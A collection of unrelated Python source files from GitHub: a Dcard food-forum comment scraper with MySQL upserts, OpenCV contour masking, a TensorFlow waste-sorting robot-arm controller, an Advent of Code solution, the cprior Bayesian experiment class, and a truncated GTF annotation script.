{"seq_id":"5758943792","text":"import numpy as np\nimport pandas as pd\nimport requests\nfrom bs4 import BeautifulSoup\nimport json\nimport time\nimport re\nfrom collections import OrderedDict\nimport mysql.connector\nimport datetime\n\ntoday = str(datetime.date.today())\ntoday = today.replace('-','_')\nfile_name = 'clean_dcard_food{}.json'.format(today)\ndcard_food = pd.read_json(file_name,encoding='utf-8')\n\nassign_list = dcard_food['id']\nlist1 = []\nlist2 = []\n\nstart = time.time()\nprint('The program starts...')\ncount = len(assign_list)\narticle_count = 0\nfor i in assign_list:\n    count = count - 1\n    print(count, '...')\n    time.sleep(2)\n    dcard_url = 'https://www.dcard.tw/f/food/p/' + str(i)\n    response = requests.get(dcard_url)\n    soup = BeautifulSoup(response.text)\n    comment = soup.find_all(attrs={'CommentEntry_content_1ATrw1'})\n    # Delete the duplications\n    all_comment = list(set([j.text for j in comment]))\n    # Assing a empty string to store the clean items from the list, and make all as a long list\n    clean_comment = ''\n\n    # Parse each element in the data list\n    for item in all_comment:\n        # clean img links\n        item = re.sub('http(s?):([/|.|\\w|\\s|-])*\\.(?:jpg|gif|png)', '', item)\n        # clean http(s) links\n        item = re.sub(\n            r'^(http:\\/\\/www\\.|https:\\/\\/www\\.|http:\\/\\/|https:\\/\\/)?[a-z0-9]+([\\-\\.]{1}[a-z0-9]+)*\\\n            .[a-z]{2,5}(:[0-9]{1,5})?(\\/.*)?$',\n            '', item)\n        # clean XD and so on\n        item = re.sub('.~|^_^|￣^￣|XDD|ಠ_ಠ|๑´ڡ`๑*|｡･ω･｡|˶᷄ ̫ ᷅˵|;´༎ຶД༎ຶ`', '', item)\n        item = re.sub('[ㄅ|ㄆ|ㄇ|ㄈ|ㄉ|ㄊ|ㄋ|ㄌ|ㄍ|ㄎ|ㄏ|ㄐ|ㄑ|ㄒ|ㄓ|ㄔ|ㄕ|ㄖ|ㄗ|ㄘ|ㄙ|ㄧ|ㄨ|ㄩ|ㄚ|ㄛ|ㄜ|ㄝ|ㄞ|ㄟ|ㄠ|ㄡ|ㄢ|ㄣ|ㄤ|ㄥ|ˇ|ˋ|ˊ|˙|！|？|，|．|／|＄|＠|％|︿|＆|＊|（|）|＿|＋|～|~]','',item)\n        # clean '已經刪除的內容就像 Dcard 一樣，錯過是無法再相見的！'\n        item = re.sub('已經刪除的內容就像 Dcard 一樣，錯過是無法再相見的！', '', item)\n        # clean any links\n        #item = re.sub('.http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+$', '', item)\n        item = re.sub('(?:(?:https?|ftp|file):\\/\\/|www\\.|ftp\\.)(?:\\([-A-Z0-9+&@#\\/%=~_|$?!:,.]*\\)|[-A-Z0-9+&@#\\/%=~_|$?!:,.])*(?:\\([-A-Z0-9+&@#\\/%=~_|$?!:,.]*\\)|[A-Z0-9+&@#\\/%=~_|$])', '', item)\n        # clean emojis\n        RE_EMOJI = re.compile(\n            '(\\u00a9|\\u00ae|[\\u2000-\\u3300]|\\ud83c[\\ud000-\\udfff]|\\ud83d[\\ud000-\\udfff]|\\ud83e[\\ud000-\\udfff]|[\\U00010000-\\U0010ffff])'\n            , flags=re.UNICODE)\n\n\n        def strip_emoji(text):\n            return RE_EMOJI.sub(r'', text)\n\n\n        item = strip_emoji(item)\n        clean_comment += item\n        # id_comment_dict['Comment'] = clean_comment\n    list1.append(clean_comment)\n    list2.append(i)\n\ndata_parse = OrderedDict([('ID', list2), ('Comment', list1)])\ndcard_food_df = pd.DataFrame(data_parse)\n\nwith open('dcard_food_comment{}.json'.format(today), 'w', encoding='utf-8') as file:\n    dcard_food_df.to_json(file, force_ascii=False, orient='records')\n\n##############################################\n\ncnx = mysql.connector.connect(user='ray', password='Taiwan#1',\n                              host='127.0.0.1',\n                              database='dcad_db')\ncursor = cnx.cursor()\nquery = (\"SELECT id FROM test02\")\ncursor.execute(query)\n\nid_list =[]\n\nfor i in cursor:\n    id_list.append(i[0])\n    \n\ndcard = pd.read_json('dcard_food_comment{}.json'.format(today),encoding='utf-8')\n\nfor i in range(len(dcard)):\n    content_list = {'comment': str(dcard.iloc[i]['Comment']),'id': int(dcard.iloc[i]['ID'])} \n    if dcard.iloc[i]['ID'] in id_list: # Update   \n        #Insert into Database\n        update_article = \"UPDATE test02 SET comment = %(comment)s WHERE id = %(id)s\"\n        # Insert new article\n        cursor.execute(update_article,content_list)\n        # Make sure data is committed to the database\n        cnx.commit()\n        print(i,\":\",'Updated the database.')\n    else: # Insert\n        #Insert into Database\n        add_article = (\"INSERT INTO test02\"\n                       \"(id, comment)\"\n                       \"VALUES (%(id)s,%(comment)s)\")\n        # Insert new article\n        cursor.execute(add_article,content_list)\n        # Make sure data is committed to the database\n        cnx.commit()\n        print(i,\":\",'Inserted into the database.')\n        \ncursor.close()\ncnx.close()\n##############################################\nend = time.time()\nminute = round((end - start) / 60)\nsecond = round((end - start) % 60)\n# print(dcard_food_df.head())  # show the front rows\nprint('Finished')\nprint('Total time:', minute, 'm', second, 's')","repo_name":"BrosCoffee/dcard_project","sub_path":"automatic_update_dcard_comment.py","file_name":"automatic_update_dcard_comment.py","file_ext":"py","file_size_in_byte":4685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"1919805350","text":"import cv2\nimport numpy as np\nimport imutils\nimport os\nimport statistics\n\n\nimg_mask = \"C:/Users/SIU856511631/Documents/RearchAssistant/PradipCode/Mask.png\"\nimg_path = \"C:/Users/SIU856511631/Documents/RearchAssistant/DatasetSamples/set1sample5raw/set1sample5raw/set1sample5raw_0000.tif\"\n# mask_path = \"C:/Users/SIU856511631/Documents/RearchAssistant/DatasetSamples/set1sample5raw/set1sample5rawMask/\"\n####################################\n#\n#    Find contours of an image\n#       and mask background\n#\n#                by\n#\n#         Sandeep Goshika\n#\n####################################\n\n# open source image file\nimage = cv2.imread(img_path)\nimage_cpy = image.copy()\n\nwith_contours = image.copy()\n\nmask = cv2.imread(img_mask, cv2.IMREAD_GRAYSCALE)\n\nmask_cpy = mask.copy()\n\n# print(mask_cpy.shape)\n\n    # convert image to grayscale\nimage_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n# Find contours in the masked image\ncontours, hierarchy = cv2.findContours(mask, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n\n\n# Create a mask for the area outside the contours\nmask_outside = np.zeros_like(mask_cpy)\ncv2.drawContours(mask_outside, contours, -1, 255, cv2.FILLED)\n\n# Change all pixels outside the contour to white\nwith_contours[mask_outside == 0] = (255, 255, 255)\n\n\n# Convert image to blck and white\nthresh, image_edges = cv2.threshold(with_contours, 160, 255, cv2.THRESH_BINARY)\n\n# Taking a matrix of size 5 as the kernel\nkernel = np.ones((2, 2), np.uint8)\nimg_dilation = cv2.dilate(image_edges, kernel, iterations=1)\n\n# Invert Image\nmask_erosion = np.bitwise_not(img_dilation)\n\nprint(mask_erosion.shape)\n\nimg_gry = cv2.cvtColor(mask_erosion, cv2.COLOR_BGR2GRAY)\n\n# Find Contours to resultant image\ncnts = cv2.findContours(img_gry, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n\ncnts = imutils.grab_contours(cnts)\ncnts = sorted(cnts, key=cv2.contourArea, reverse=True)\nrect_areas = []\nfor c in cnts:\n    (x, y, w, h) = cv2.boundingRect(c)\n    rect_areas.append(w * h)\n    avg_area = statistics.mean(rect_areas)\nfor c in cnts:\n    (x, y, w, h) = cv2.boundingRect(c)\n    cnt_area = w * h\n    #Adjust the area of contopur to be captured\n    if cnt_area < 50:\n        img_gry[y:y + h, x:x + w] = 0\ncv2.drawContours(image_cpy, cnts, -1, (0, 255, 0), 3)\n\n# print(os.path.splitext(mask_path+filename)[0]+'.png')\n\n# cv2.imwrite(os.path.splitext(mask_path+filename)[0]+'.png', mask_erosion)\n\n# cv2.imshow('thresh', image_edges)\ncv2.imshow('Dilation', img_gry)\ncv2.imshow('original', image_cpy)\n\n\n# escape condition\ncv2.waitKey(0)\n\n# clean up windows\ncv2.destroyAllWindows()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"sandeepgoshika4/BinarizeImage","sub_path":"ContourTrimming.py","file_name":"ContourTrimming.py","file_ext":"py","file_size_in_byte":2583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72001506662","text":"import os\nimport sys\nimport numpy as np\nimport tensorflow as tf\nimport cv2 as cv\nimport serial\nimport time\nfrom PIL import Image\nfrom object_detection.utils import label_map_util\nfrom object_detection.utils import visualization_utils as vis_util\n\n\narduino = serial.Serial('/dev/ttyUSB0', 9600)\n\n# opencv videocap num\nCAM = 0\n\n# Label\nLabel = None\n\n# frozen_inference_graph의 경로\nPATH_TO_CKPT = '/home/junsoofeb/py_project/robot_arm/waste_sorting/frozen_inference_graph.pb'\n\n# label_map.pbtxt의 경로 \nPATH_TO_LABELS = '/home/junsoofeb/py_project/robot_arm/waste_sorting/WS_label_map.pbtxt'\n\n# label_map.pbtxt의 class 개수 \nNUM_CLASSES = 3\n\n# 학습된 모델에 넣을 이미지 경로, 이미지는 target.jpg로 저장되어 매 frame 마다 덮어 쓰여진다.\nimage_path = '/home/junsoofeb/py_project/robot_arm/waste_sorting/test_img/target.jpg'\ntarget_img = None\n\n# 출력 이미지의 크기, inch단위\nIMAGE_SIZE = (12, 8)\n\n\n# Loading label map\nlabel_map = label_map_util.load_labelmap(PATH_TO_LABELS)\ncategories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, use_display_name=True)\ncategory_index = label_map_util.create_category_index(categories)\n\n\ndef show(image, win_name = \"\"):\n    image = cv.cvtColor(image, cv.COLOR_RGB2BGR)\n    cv.imshow(win_name, image)\n    cv.waitKey()\n    cv.destroyAllWindows()\n    \n\n\ndef detect_objects(image_np, sess, detection_graph):\n    global Label\n    # Expand dimensions since the model expects images to have shape: [1, None, None, 3]\n    image_np_expanded = np.expand_dims(image_np, axis=0)\n    image_tensor = detection_graph.get_tensor_by_name('image_tensor:0')\n    # Each box represents a part of the image where a particular object was detected.\n    boxes = detection_graph.get_tensor_by_name('detection_boxes:0')\n    # Each score represent how level of confidence for each of the objects.\n    # Score is shown on the result image, together with the class label.\n    scores = detection_graph.get_tensor_by_name('detection_scores:0')\n    classes = detection_graph.get_tensor_by_name('detection_classes:0')\n    num_detections = detection_graph.get_tensor_by_name('num_detections:0')\n    # Actual detection.\n    (boxes, scores, classes, num_detections) = sess.run([boxes, scores, classes, num_detections], feed_dict={image_tensor: image_np_expanded})\n\n\n   \n    # Visualization of the results of a detection.\n    vis_util.visualize_boxes_and_labels_on_image_array(\n        image_np,\n        np.squeeze(boxes),\n        np.squeeze(classes).astype(np.int32),\n        np.squeeze(scores),\n        category_index,\n        use_normalized_coordinates=True,\n        line_thickness=8)\n    \n    \n    # 찾은 레이블 저장, 못찾았을 시 재시도\n    Label = [category_index.get(value) for index,value in enumerate(classes[0]) if scores[0,index] > 0.5]\n    if Label == []:\n        print(\"retry!\")\n        main()\n    print(Label)\n    Label = Label[0]['name']\n    \n    return image_np\n\ndef load_image_into_numpy_array(image):\n    (im_width, im_height) = image.size\n\n    return np.array(image.getdata()).reshape((im_height, im_width, 3)).astype(np.uint8)\n\n\n\ndef check_target():\n    global image_path\n\n    LABEL = None\n    image = Image.open(image_path)\n    image_np = load_image_into_numpy_array(image)\n    detection_graph = tf.Graph()\n    with detection_graph.as_default():\n        od_graph_def = tf.GraphDef()\n        with tf.gfile.GFile(PATH_TO_CKPT, 'rb') as fid:\n            serialized_graph = fid.read()\n            od_graph_def.ParseFromString(serialized_graph)\n            tf.import_graph_def(od_graph_def, name='')\n\n\n    with detection_graph.as_default():\n        with tf.Session(graph=detection_graph) as sess:\n                image = Image.open(image_path)\n                image_np = load_image_into_numpy_array(image)\n                image_process = detect_objects(image_np, sess, detection_graph)\n                \n                #show(image_process)\n                \n                image_np_expanded = np.expand_dims(image_np, axis=0)\n                image_tensor = detection_graph.get_tensor_by_name('image_tensor:0')\n                boxes = detection_graph.get_tensor_by_name('detection_boxes:0')\n                scores = detection_graph.get_tensor_by_name('detection_scores:0')\n                classes = detection_graph.get_tensor_by_name('detection_classes:0')\n                num_detections = detection_graph.get_tensor_by_name('num_detections:0')\n                (boxes, scores, classes, num_detections) = sess.run(\n                    [boxes, scores, classes, num_detections],\n                    feed_dict={image_tensor: image_np_expanded})\n\n\n\n \n    \n'''\n    with detection_graph.as_default():\n        with tf.Session(graph=detection_graph) as sess:\n                image = Image.open(image_path)\n                image_np = load_image_into_numpy_array(image)\n                image_np_expanded = np.expand_dims(image_np, axis=0)\n                image_tensor = detection_graph.get_tensor_by_name('image_tensor:0')\n                boxes = detection_graph.get_tensor_by_name('detection_boxes:0')\n                scores = detection_graph.get_tensor_by_name('detection_scores:0')\n                classes = detection_graph.get_tensor_by_name('detection_classes:0')\n                num_detections = detection_graph.get_tensor_by_name('num_detections:0')\n                (boxes, scores, classes, num_detections) = sess.run(\n                    [boxes, scores, classes, num_detections],\n                    feed_dict={image_tensor: image_np_expanded})\n\n                result = [category_index.get(i) for i in classes[0]][0]['name']\n                print(result)\n'''\n\n\n\n\n\n\n\n\n\n\n\ndef take_target():\n    global target_img, CAM\n    cap = cv.VideoCapture(CAM)\n    ret, frame = cap.read()\n    #target_img = frame.copy()[50: 380, 90:500] #test용도\n    target_img = frame.copy()\n    cv.imwrite('/home/junsoofeb/py_project/robot_arm/waste_sorting/test_img/target.jpg', target_img)\n    cap.release()\n    cv.destroyAllWindows()\n\ndef motion_dectector():\n    global CAM\n    # mog2\n    fgbg = cv.createBackgroundSubtractorMOG2(varThreshold=100)                                                                    \n    cap = cv.VideoCapture(CAM)\n\n    n_of_box = 0\n\n    while True: # motion detection\n        ret, frame = cap.read()\n        fgmask = fgbg.apply(frame)\n        '''\n        stats : labels information\n        centroid : Mat that has label's center of gravity\n        '''\n        _ ,_ ,stats, centroids = cv.connectedComponentsWithStats(fgmask)\n    \n        for index, centroid in enumerate(centroids):\n            if stats[index][0] == 0 and stats[index][1] == 0:\n                continue\n            if np.any(np.isnan(centroid)):\n                continue\n            x, y, width, height, area = stats[index]\n            centerX, centerY = int(centroid[0]), int(centroid[1])\n        \n            # motion detect,, when there is a little movement\n            if area > 200:\n                #cv.circle(frame, (centerX, centerY), 1, (0, 255, 0), 2)\n                #cv.rectangle(frame, (x, y), (x + width, y + height), (0, 0, 255))\n                n_of_box += 1\n        \n        # 움직임 감지되면 종료 후 4초 뒤에 target_img 저장\n        if n_of_box > 4:   \n            #print('Number of Box : ', n_of_box)\n            print(\"motion detected!\")\n            break\n        \n\n        # monitor_output\n        #cv.imshow('MOG2_mask', fgmask)\n        cv.imshow('Origin_frame', frame)\n        cv.waitKey(1)\n        #print('Number of Box : ', n_of_box)\n        # reset \n        n_of_box = 0\n    \n    time.sleep(4)\n    cap.release()\n    cv.destroyAllWindows()\n    take_target()\n\n\ndef waste_sorting(waste):\n    if waste == 'vinyl':\n        arduino.write(b'v')\n        return 1\n    elif waste == 'can':\n        arduino.write(b'c')\n        return 1\n    elif waste == 'pet':\n        arduino.write(b'p')\n        return 1\n    else:\n        return -1\n\ndef set_cam_postition():\n    cap = cv.VideoCapture(CAM)\n    while True: # motion detection\n        _, frame = cap.read()\n        #cv.rectangle(frame, (90,50), (500,380), (0,0,255), 3) #test용도\n        cv.imshow(\"PRESS 's' to set camera position!\", frame)\n        key = cv.waitKey(1)\n        \n        if key == ord('s'):\n            break\n        \n    cv.destroyAllWindows()\n    cap.release()\n\nstart_sig = True\ndef main():\n    global target_img, Label, start_sig\n\n    # 자동 모드\n    '''\n    if start_sig == True:\n        set_cam_postition()\n        start_sig = False\n    motion_dectector()\n    '''\n    \n    # 수동 모드\n    \n    set_cam_postition()\n    take_target()\n    \n    \n    # waste sorting\n    check_target()\n    result = waste_sorting(Label)\n        \n    print(\"DETECTION RESULT >>\", Label)\n    if result == -1:\n        print(\"object detection failed.. retry..\")\n    else:\n        print(\"Waste_Sorting_Finished!\")\n        \n    target_img = None\n    \n        \nwhile True:\n    main()\n    \n","repo_name":"junsoofeb/waste_sorting_ROBOT_ARM","sub_path":"WS_model.py","file_name":"WS_model.py","file_ext":"py","file_size_in_byte":8958,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"26930343966","text":"import string\r\n\r\n\r\nwith open('day3_input.txt', 'r', encoding='UTF-8') as file:\r\n    rucksack = file.read()\r\n\r\n    alpha_priority_list = list(string.ascii_letters)\r\n\r\n    line1 = []\r\n    line2 = []\r\n    line3 = []\r\n    i = 0\r\n    common_list = []\r\n    badge = []\r\n\r\n    for item in rucksack.splitlines():\r\n        if i ==0:\r\n            line1 = set(item)\r\n            i += 1\r\n            \r\n        elif i ==1:\r\n            line2 = set(item)\r\n            i += 1\r\n            \r\n        elif i == 2: \r\n            line3 = set(item)\r\n\r\n            common = line1 & line2 & line3\r\n            common = ''.join(common)\r\n            badge.append((alpha_priority_list.index(common)+1))\r\n\r\n            i = 0\r\n            line1 = []\r\n            line2 = []\r\n            line3 = []\r\n\r\n    print(sum(badge))\r\n\r\n\r\n            \r\n            \r\n        \r\n\r\n    \r\n","repo_name":"Ewa-Mazur/Advent_of_code","sub_path":"day3_advent_of_code_part2.py","file_name":"day3_advent_of_code_part2.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14494710718","text":"import copy\nimport datetime\nimport numbers\nimport pickle\nimport time\n\nimport numpy as np\n\nfrom ..cdist.base import BayesMVTest\n\n\n_STATUS_max_n_samples = \"max_n_samples exceeded\"\n_STATUS_RUNNING = \"running...\"\n_STATUS_WINNER = \"winner {}\"\n\n_STOPPING_RULES = [\"probability\", \"expected_loss\", \"expected_loss_vs_all\",\n                   \"probability_vs_all\"]\n\n\nclass Experiment(object):\n    \"\"\"\n    Bayesian experiment.\n\n    Parameters\n    ----------\n    name : str\n        Experiment name.\n\n    test : object\n        A multivariate test instance. This is a class inherit from\n        ``cprior.cdist.base.BayesMVTest``.\n\n    stopping_rule : str (default=\"expected_loss\")\n        The stopping rule or metric to be used throughout the experiment.\n        Options are \"probability\", \"probability_vs_all\", \"expected_loss\"\n        and \"expected_loss_vs_all\".\n\n    epsilon : float (default=1e-5)\n        The epsilon or threshold to be checked throughout the experiment. The\n        experiment will terminate with a winner variant if the metric value\n        reaches ``epsilon``.\n\n    min_n_samples : int or None (default=None)\n        The minimum number of samples for any variant.\n\n    max_n_samples : int or None (default=None)\n        The maximum number of samples for any variant.\n\n    verbose : int or bool (default=False)\n        Controls verbosity of output.\n\n    **options :\n        For other keyword-only arguments. For example, ``nig_metric`` with\n        options ``\"mu\"`` and ``\"sigma_sq\"``.\n\n    Attributes\n    ----------\n    variants_ : list\n        The variants in the experiment.\n\n    n_variants_ : int\n        The number of variants in the experiment.\n\n    n_samples_ : int\n        The total number of samples of all variants throughout the\n        experimentation.\n\n    n_updates_ : int\n        The total number of updates throughout the experimentation.\n    \"\"\"\n    def __init__(self, name, test, stopping_rule=\"expected_loss\", epsilon=1e-5,\n                 min_n_samples=None, max_n_samples=None, verbose=False,\n                 **options):\n\n        self.name = name\n        self.test = test\n        self.stopping_rule = stopping_rule\n        self.epsilon = epsilon\n        self.min_n_samples = min_n_samples\n        self.max_n_samples = max_n_samples\n        self.verbose = verbose\n\n        # options\n        # self._method = options.get(\"method\", None)\n        self._nig_metric = options.get(\"nig_metric\", None)\n\n        # attributes\n        self.variants_ = None\n        self.n_variants_ = None\n        self.n_samples_ = None\n        self.n_updates_ = None\n\n        # auxiliary data\n        self._test = None\n        self._test_type = None\n        self._multimetric = False\n        self._multimetric_idx = None\n\n        # statistics\n        self._trials = {}\n\n        # timing\n        self._time_init = None\n        self._time_termination = None\n\n        # flags\n        self._status = None\n        self._termination = False\n        self._winner = None\n\n        self._setup()\n\n    def __enter__(self):\n        return self\n\n    def __exit__(self, exc_type, exc_val, exc_tb):\n        return\n\n    def describe(self):\n        \"\"\"Experiment settings.\"\"\"\n        from .utils import experiment_describe\n        return experiment_describe(self)\n\n    def plot_metric(self):\n        \"\"\"Plot stopping rule metric over updates/time.\"\"\"\n        from .plotting import experiment_plot_metric\n        return experiment_plot_metric(self)\n\n    def plot_stats(self):\n        \"\"\"Plot statistics (mean and CI intervals) over updates/time.\"\"\"\n        from .plotting import experiment_plot_stats\n        return experiment_plot_stats(self)\n\n    def run_update(self, **data):\n        \"\"\"\n        Update one or various Bayesian models with new data.\n\n        Parameters\n        ----------\n        **data : dict\n            Dictionary with key=variant and value=data, e.g.\n            ``**{\"A\": data_A}``.\n        \"\"\"\n        if self._termination:\n            print(\"Experiment is terminated.\")\n            return\n\n        self._update_data(**data)\n\n        self._update_stats()\n\n        self._compute_metric()\n\n        self._check_termination()\n\n    def stats(self):\n        \"\"\"Experiment main statistics on collected data.\"\"\"\n        from .utils import experiment_stats\n        return experiment_stats(self)\n\n    def summary(self):\n        \"\"\"\n        Experiment summary with several decision metrics.\n\n        If a winner has been declared, the corresponding row is highlighted\n        in green.\n        \"\"\"\n        from .utils import experiment_summary\n        return experiment_summary(self)\n\n    def save(self, pickle_path):\n        \"\"\"\n        Save this experiment to the given pickle path.\n\n        Parameters\n        ----------\n        pickle_path : str\n            Path of the pickle object.\n        \"\"\"\n        if not isinstance(pickle_path, str):\n            raise TypeError(\"pickle_path must be a string.\")\n\n        with open(pickle_path, \"wb\") as output_file:\n            pickle.dump(self, output_file, pickle.HIGHEST_PROTOCOL)\n\n    def load(self, pickle_path):\n        \"\"\"\n        Load experiment from a given pickle path.\n\n        Parameters\n        ----------\n        pickle_path : str\n            Path of the pickle object.\n        \"\"\"\n        if not isinstance(pickle_path, str):\n            raise TypeError(\"pickle_path must be a string.\")\n\n        with open(pickle_path, \"rb\") as input_file:\n            experiment = pickle.load(input_file)\n\n        self.__dict__ = copy.deepcopy(experiment.__dict__)\n\n    def _check_termination(self):\n        \"\"\"Check termination criteria.\"\"\"\n        variants = list(self._test.models.keys())\n\n        if self.stopping_rule in (\"expected_loss\", \"probability\"):\n            variants.remove(\"A\")\n\n        if self._multimetric:\n            variant_metrics = sorted(\n                [(v, self._trials[v][\"metric\"][-1]) for v in variants],\n                key=lambda tup: tup[1][self._multimetric_idx])\n        else:\n            variant_metrics = sorted([(v, self._trials[v][\"metric\"][-1])\n                                      for v in variants],\n                                     key=lambda tup: tup[1])\n\n        largest_metric = variant_metrics[-1]\n        smallest_metric = variant_metrics[0]\n\n        winner = \"\"\n        if self.stopping_rule in (\"expected_loss\", \"expected_loss_vs_all\"):\n            variant, metric = smallest_metric\n\n            if self._multimetric:\n                metric = metric[self._multimetric_idx]\n\n            if metric < self.epsilon:\n                winner = variant\n                self._winner = winner\n        elif self.stopping_rule in (\"probability\", \"probability_vs_all\"):\n            variant, metric = largest_metric\n\n            if self._multimetric:\n                metric = metric[self._multimetric_idx]\n\n            if metric > self.epsilon:\n                winner = variant\n                self._winner = winner\n\n        if self.min_n_samples is not None or self.max_n_samples is not None:\n            variant_samples = [self._test.models[v].n_samples_\n                               for v in self.variants_]\n\n            min_n_samples = np.min(variant_samples)\n            max_n_samples = np.max(variant_samples)\n\n            min_stop_criterion = (self.min_n_samples is not None and\n                                  min_n_samples >= self.min_n_samples)\n            max_stop_criterion = (self.max_n_samples is not None and\n                                  max_n_samples >= self.max_n_samples)\n\n            if winner and min_stop_criterion:\n                self._status = _STATUS_WINNER.format(winner)\n                self._termination = True\n            elif max_stop_criterion:\n                self._status = _STATUS_max_n_samples\n                self._termination = True\n            else:\n                self._status = _STATUS_RUNNING\n        elif winner:\n            self._status = _STATUS_WINNER.format(winner)\n            self._termination = True\n        else:\n            self._status = _STATUS_RUNNING\n\n        if self._termination:\n            self._time_termination = time.perf_counter()\n\n    def _compute_metric(self):\n        \"\"\"\"\"\"\n        variants = list(self._test.models.keys())\n\n        if self.stopping_rule in (\"expected_loss\", \"probability\"):\n            variants.remove(\"A\")\n            for variant in variants:\n                if self.stopping_rule == \"expected_loss\":\n                    _metric = self._test.expected_loss(variant=variant)\n                else:\n                    _metric = self._test.probability(variant=variant)\n\n                self._trials[variant][\"metric\"].append(_metric)\n\n        elif self.stopping_rule in (\"expected_loss_vs_all\",\n                                    \"probability_vs_all\"):\n            for variant in variants:\n                if self.stopping_rule == \"expected_loss_vs_all\":\n                    if self._test_type == \"abtest\":\n                        control = variants[not variants.index(variant)]\n                        _metric = self._test.expected_loss(control=control,\n                                                           variant=variant)\n                    else:\n                        _metric = self._test.expected_loss_vs_all(\n                            variant=variant)\n                else:\n                    if self._test_type == \"abtest\":\n                        control = variants[not variants.index(variant)]\n                        _metric = self._test.probability(control=control,\n                                                         variant=variant)\n                    else:\n                        _metric = self._test.probability_vs_all(\n                            variant=variant)\n\n                self._trials[variant][\"metric\"].append(_metric)\n\n    def _setup(self):\n        \"\"\"\"\"\"\n        if self.stopping_rule not in _STOPPING_RULES:\n            raise ValueError(\"Stopping rule '{}' is not valid. \"\n                             \"Available methods are {}\"\n                             .format(self.stopping_rule, _STOPPING_RULES))\n\n        if self.min_n_samples is not None:\n            if (not isinstance(self.min_n_samples, numbers.Number) or\n                    self.min_n_samples < 0):\n                raise ValueError(\"Minimum number of samples must be positive; \"\n                                 \"got {}.\".format(self.min_n_samples))\n\n        if self.max_n_samples is not None:\n            if (not isinstance(self.max_n_samples, numbers.Number) or\n                    self.max_n_samples < 0):\n                raise ValueError(\"Maximum number of samples must be positive; \"\n                                 \"got {}.\".format(self.min_n_samples))\n\n        if None not in (self.min_n_samples, self.max_n_samples):\n            if self.min_n_samples > self.max_n_samples:\n                raise ValueError(\"min_n_samples must be <= max_n_samples.\")\n\n        if not isinstance(self.test, BayesMVTest):\n            raise TypeError(\"test is not an instance inherited from \"\n                            \"BayesMVTest.\")\n\n        self._time_init = time.perf_counter()\n\n        # clone test to run experiment\n        self._test = copy.deepcopy(self.test)\n\n        self.variants_ = list(self._test.models.keys())\n        self.n_variants_ = len(self.variants_)\n\n        if self.n_variants_ == 2:\n            self._test_type = \"abtest\"\n        else:\n            self._test_type = \"mvtest\"\n\n        # initialize dictionary to store information of each variant at each\n        # iteration/update.\n        for variant in list(self._test.models.keys()):\n            self._trials[variant] = {\n                \"datetime\": [],\n                \"metric\": [],\n                \"data\": [],\n                \"n_samples\": [],\n                \"stats\": {\"mean\": [], \"ci_low\": [], \"ci_high\": []}\n            }\n\n        # initialize status message\n        self._status = _STATUS_RUNNING\n\n        # extra options\n        if type(self._test).__name__ in (\"NormalMVTest\", \"LogNormalMVTest\"):\n            self._multimetric = True\n\n            if self._nig_metric is not None:\n                if self._nig_metric not in (\"mu\", \"sigma_sq\"):\n                    raise ValueError()\n\n                if self._nig_metric == \"mu\":\n                    self._multimetric_idx = 0\n                else:\n                    self._multimetric_idx = 1\n            else:\n                self._nig_metric = \"mu\"  # default\n                self._multimetric_idx = 0\n\n    def _update_data(self, **kwargs):\n        \"\"\"\"\"\"\n        update_datetime = str(datetime.datetime.now())\n\n        for variant, data in kwargs.items():\n            self._test.update(variant=variant, data=data)\n\n            self._trials[variant][\"datetime\"].append(update_datetime)\n\n            x = np.asarray(data)\n            n = x.size\n\n            if n > 1:\n                self._trials[variant][\"data\"].extend(x)\n            else:\n                self._trials[variant][\"data\"].append(data)\n\n            self._trials[variant][\"n_samples\"].append(n)\n\n    def _update_stats(self):\n        \"\"\"\"\"\"\n        for variant in self.variants_:\n            if self._multimetric:\n                mean = self._test.models[variant].mean()[self._multimetric_idx]\n                ci_low, ci_high = self._test.models[variant].ppf(\n                    [0.05, 0.95])[self._multimetric_idx]\n            else:\n                mean = self._test.models[variant].mean()\n                ci_low, ci_high = self._test.models[variant].ppf([0.05, 0.95])\n            self._trials[variant][\"stats\"][\"mean\"].append(mean)\n            self._trials[variant][\"stats\"][\"ci_low\"].append(ci_low)\n            self._trials[variant][\"stats\"][\"ci_high\"].append(ci_high)\n\n    @property\n    def status(self):\n        return self._status\n\n    @property\n    def termination(self):\n        return self._termination\n\n    @property\n    def winner(self):\n        return self._winner\n","repo_name":"guillermo-navas-palencia/cprior","sub_path":"cprior/experiment/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":13850,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"35"}
{"seq_id":"42244363357","text":"#! /usr/bin/env python\n\nimport sys\nimport re\nimport utils\nfrom collections import defaultdict\n\ndef main(args):\n    ltrtypes = defaultdict(list)\n    gtf = utils.tab_line_gen(args.gtf)\n    for g in gtf:\n        attrd = dict(re.findall('(\\S+)\\s+\"([\\s\\S]+?)\";',g[8]))\n        if attrd['repType']=='ltr':\n            ltrtypes[attrd['locus']].append(attrd['repName'])\n    \n    titer = utils.tab_line_gen(args.infile)\n    header = titer.next()\n    print >>args.outfile, '\\t'.join(header + ['subfamily'])\n\n    for row in titer:\n        if row[0] in ltrtypes:\n            subfam  = ','.join(sorted(set(ltrtypes[row[0]])))\n        else:\n            subfam = ''\n        \n        print >>sys.stdout, '\\t'.join(row + [subfam])\n\nif __name__ == '__main__':\n    import argparse\n    parser = argparse.ArgumentParser(description='Add locus field to each annotation.')\n    parser.add_argument('--gtf', type=argparse.FileType('rU'), required=True)\n    parser.add_argument('infile', nargs='?', type=argparse.FileType('rU'), default=sys.stdin)\n    parser.add_argument('outfile', nargs='?', type=argparse.FileType('w'), default=sys.stdout)\n    